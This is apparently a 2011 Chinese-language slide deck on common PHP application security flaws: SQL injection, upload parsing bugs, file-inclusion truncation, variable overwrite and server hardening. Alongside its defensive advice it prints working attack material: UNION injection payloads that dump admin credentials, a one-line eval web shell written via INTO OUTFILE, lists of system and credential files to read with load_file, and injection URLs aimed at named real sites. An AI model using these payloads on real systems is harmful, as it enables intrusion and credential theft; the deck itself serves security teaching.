Php应用程序常见安全问题解析

PHP应用程序常见安全问题解析

Mason @ Tech Club
2011-08-28

http://www.tech-club.org

概要

SQL 注入攻击不防范
文件上传不目录解析
文件包含不截断
变量覆盖问题
PHP安全策略

2 http://www.tech-club.org

SQL 注入攻击不防范
概念与原理
通过修改传递的参数，执行恶意的数据库语句。


SQL 注入攻击不防范
PHP+MYSQL注入的一般攻击流程
半分法猜解字段数量
order by 3
生成union查询语句
and 0 union select 1,2,3
获取数据库
and 0 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA
获取表名
and 0 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA = 0x00
获取字段名
and 0 union select 1,COLUMN_NAME,3, from information_schema.COLUMNS where TABLE_NAME
=0x00

接下来？假设猜解出来的表名为admin字段分别为username和password
and 0 union select 1,username,password,3,4,5,6 from admin


SQL注入攻击不防范
Demo


如果具备以下条件：

1、知道站点物理路径
2、有足够大的权限(ROOT)
3、magic_quotes_gpc()=OFF
便可直接写入文件
select ‘<?php eval($_POST[cmd])?>’ into outfile
‘物理路径' 或
and 1=2 union all select 一句话HEX值 into outfile ‘路
径'


SQL 注入攻击与防范
load_file 的危害
linux
/usr/local/apache2/conf/httpd.conf//读取网站配置文件
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
win
c:mysqldatamysqluser.MYD //存储了数据库用户密码
c:Program FilesServ-UServUDaemon.ini //Server U配置信息
c:windowsmy.ini //MYSQL配置文件
c:windowssystem32inetsrvMetaBase.xml //IIS配置文件
c:windowsrepairsam //SAM文件
bsd
解析BSD脚本
http://www.vtion.com.cn/app/product/pro_test?id=162/**/AND/**/1=2/**/U
nion/**/SElect/**/1,load_file%28%27/%27%29,3,4,5,6,7,8%23


影响字符串转义相关配置
magic_quotes_gpc
影响到 HTTP 请求数据（GET，POST 和 COOKIE）。不能在运行时改变。在 PHP 中默认值为 on。

magic_quotes_runtime
如果打开的话，大部份从外部来源取得数据并返回的函数，包括从数据库和文本文件，所返回的数据都会
被反斜线转义。该选项可在运行的时改变，在 PHP 中的默认值为 off。

magic_quotes_sybase
如果打开的话，将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如
果同时打开两个选项的话，单引号将会被转义成 ”。而双引号、反斜线和 NULL 字符将不会进行转义

虽然方便的实现了对特殊符号的自动转义，但是这样会使得程序效率降低，并导致程序可移植变得麻烦。
在不知道服务器ini设置的情况下，还需要调用get_magic_quotes_gpc() ,get_magic_quotes_runtime() 或
ini_get()来检测状态。


开启了GPC是否就可高枕无忧?
if(!get_magic_quotes_gpc())
{
$_GET = daddslashes($_GET);
$_POST = daddslashes($_POST);
$_COOKIE = daddslashes($_COOKIE);
}

function daddslashes($string, $force = 1)
{
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
return $string;
}

注意键值的过滤 - http://sebug.net/exploit/19574/


SQL注入攻击与防范
X-Forwarded-For伪造
在PHP5中$_SERVER变量和通过getenv()获取的
变量没有 magic_quotes_gpc 的保护
因而可以通过伪造X-Forwarded-For来通过服务端
对单引号的过滤，从而达到注入等目的

http://hi.baidu.com/vi0lentangel/blog/item/930af91ab012c90c4034173d.html

$HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里


注意解码函数的使用

urldecode - 解码已编码的 URL 字符串
rawurldecode - 对已编码的 URL 字符串进行解码
base64_decode -对使用 MIME base64 编码的数据进行解码

从用户输入中获取编码后的字符
在程序中进行解码时,是否有考虑到应用程序的安全?
http://localhost/Destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09a
scii(substring((SELECT%09username |
password%09FROM%09destoon_member%09WHERE%09userid=1),1,1))=0x61%23


多字符集编码问题
php 使用php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处
理的
而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候，将这些命令行字
符串传递给MySQL处理时是作为多字节处理的

//当GPC=ON
http://localhost/demo/index.php?username=admin’
http://localhost/demo/index.php?username=admin%df%27

//设置客户端字符集为二进制
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,
character_set_client=binary", $conn);


文件上传不目录解析
IIS6目录解析漏洞
aaa.php/1.jpg

Apache 文件解析漏洞
aaa.php.zzz

nginx文件类型错误解析问题
http://www.80sec.com/nginx-securit.html
http://app.travel.ifeng.com/upload/line/2011/03/24/1300948493ce8b.jpg/a.php

这就意味着，可以通过上传图片，在图片中添加可执行代码来获取服务器权限。
这对于一个网站来说，是极为可怕的。


文件上传不目录解析
如何防范?

客户端+服务端的验证;
替换要创建目录中的”. ”;
重命名上传的文件;
采用可上传文件后缀白名单机制;
审核用户上传的文件
正确的配置文件解析
修改php.ini将cgi.fix_pathinfo设为0 执行php/sbin/php-fpm restart重启。


文件包含不截断
基本的远程文件包含

<?php include($_GET['file']); ?>

包含远程代码 ?file=http[https][ftp]://www.ab.com/aaa.txt
包含 PHP流 ?file=php://input:
包含 data URIs ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

远程包含需要: allow_url_include=On,所以关闭它可以减低一定的风险
当然同时程序上一样需要进行相应过滤和限制.



本地包含不截断

<?php include("includes/" . $_GET['file']).”.php”; ?>

GPC=OFF 下空字符截断
//?file=aaa.jpg%00

操作系统对文件名的长度限制来截断
//?file=aaa.jpg/////// (/的数量大于4096)


如何防范?

对空字符进行转义

过滤”/”,将需包含的文件放到用户丌可达的目录

包含是一个非常危险函数,因此在项目审核中必须对
其逻辑和过滤再次审核.

涉及到的函数〔include(),require()和include_once(),require_once()〕


变量覆盖问题
可能引起变量覆盖的情况

各种循环;
register_globals = on时;
extract()这个函数在参数为EXTR_OVERWRITE;
parse_str();
mb_parse_str();
import_request_variables();

DedeCMS v5.6-5.7 越权访问漏洞

http://sebug.net/vulndb/20859/


PHP安全策略

1.安全是没有绝对的
2.任何的用户输入都是有害的
3.使用开源程序的风险


PHP安全策略
WEB服务器安全配置
magic_quotes_gpc=on
magic_quotes_runtime=off
magic_quotes_sybase=off
allow_url_include=off
register_globals=off
display_error=off

建议开启safe_mode

网站目录的最小权限配置
数据库用户最小权限配置
WEB不数据库分离

PHP安全策略

应用程序安全策略
丌要信任服务器的配置

过滤的用户输入

关闭错误报告

审核你的应用程序


That’s All,Thx!
Mason [Tech Club] At 2011-08-28
QQ:31972184, E-mail:Mason@V5Script.ORG
http://www.weibo.com/phpext


Php应用程序常见安全问题解析

More Related Content

What's hot (20)

Viewers also liked (7)

Similar to Php应用程序常见安全问题解析 (20)

More from mysqlops (20)

Php应用程序常见安全问题解析